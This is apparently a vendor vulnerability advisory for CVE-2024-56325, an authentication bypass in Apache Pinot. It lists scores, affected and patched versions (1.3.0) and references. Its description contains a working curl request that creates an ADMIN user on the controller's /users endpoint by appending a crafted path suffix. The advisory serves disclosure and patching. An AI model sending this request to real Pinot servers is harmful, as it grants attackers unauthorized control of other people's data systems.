CVE-2024-56325
CriticalApache Pinot Vulnerable to Authentication Bypass
Published Apr 1, 2025 · Updated Aug 31, 2026 · Also known as GHSA-6jwp-4wvj-6597
Key Facts
Patch immediately- CVE-2024-56325 is a critical-severity vulnerability (CVSS 9.3 v4) affecting Pinot (Apache), org.apache.pinot:pinot-broker (maven), org.apache.pinot:pinot-common (maven) and 2 more products.
- It is not listed in any known-exploited vulnerabilities catalog. No public exploit code is known.
- EPSS estimates a 80% probability of exploitation in the next 30 days.
- Fixed versions are available, including Pinot 1.3.0, org.apache.pinot:pinot-broker 1.3.0, org.apache.pinot:pinot-common 1.3.0.
- Brandefense priority: patch immediately, because it is very likely to be exploited soon.
CVSS v4
9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS (30-day exploit likelihood)
80%
Higher than 99.6% of all scored CVEs
Exploited in the wild
No known
Not in a known-exploited catalog
Public exploit code
None known
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Description
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Affected Products
5 affected entries in total| Product | Affected versions | Fixed in |
|---|---|---|
| PinotApache | See advisory | 1.3.0 |
| org.apache.pinot:pinot-brokermaven | See advisory | 1.3.0 |
| org.apache.pinot:pinot-commonmaven | See advisory | 1.3.0 |
| org.apache.pinot:pinot-controllermaven | See advisory | 1.3.0 |
| org.apache.pinot.controller.api | See advisory | 1.3 |
Patched Releases
Pinot
1.3.0
org.apache.pinot:pinot-broker
1.3.0
org.apache.pinot:pinot-common
1.3.0
org.apache.pinot:pinot-controller
1.3.0
org.apache.pinot.controller.api
1.3
Timeline
Publicly disclosed
Apr 1, 2025
Last updated
Aug 31, 2026
Weakness Type
- CWE-288 Authentication Bypass Using an Alternate Path or Channel
References
- advisoryGHSA advisory
- advisoryhttps://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121
- advisoryhttps://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56325.json
- advisoryhttps://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
- advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2024-56325
FAQ
Common Questions.
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required.
Affected: Pinot (Apache); org.apache.pinot:pinot-broker (maven); org.apache.pinot:pinot-common (maven), among others. The full list is in the CVE brief.
It is not listed in any known-exploited vulnerabilities catalog.
No, it is not currently listed in the CISA Known Exploited Vulnerabilities catalog.
No public exploit code is known.
Fixed versions are available, including Pinot 1.3.0, org.apache.pinot:pinot-broker 1.3.0, org.apache.pinot:pinot-common 1.3.0.
Brandefense priority: patch immediately, because it is very likely to be exploited soon.
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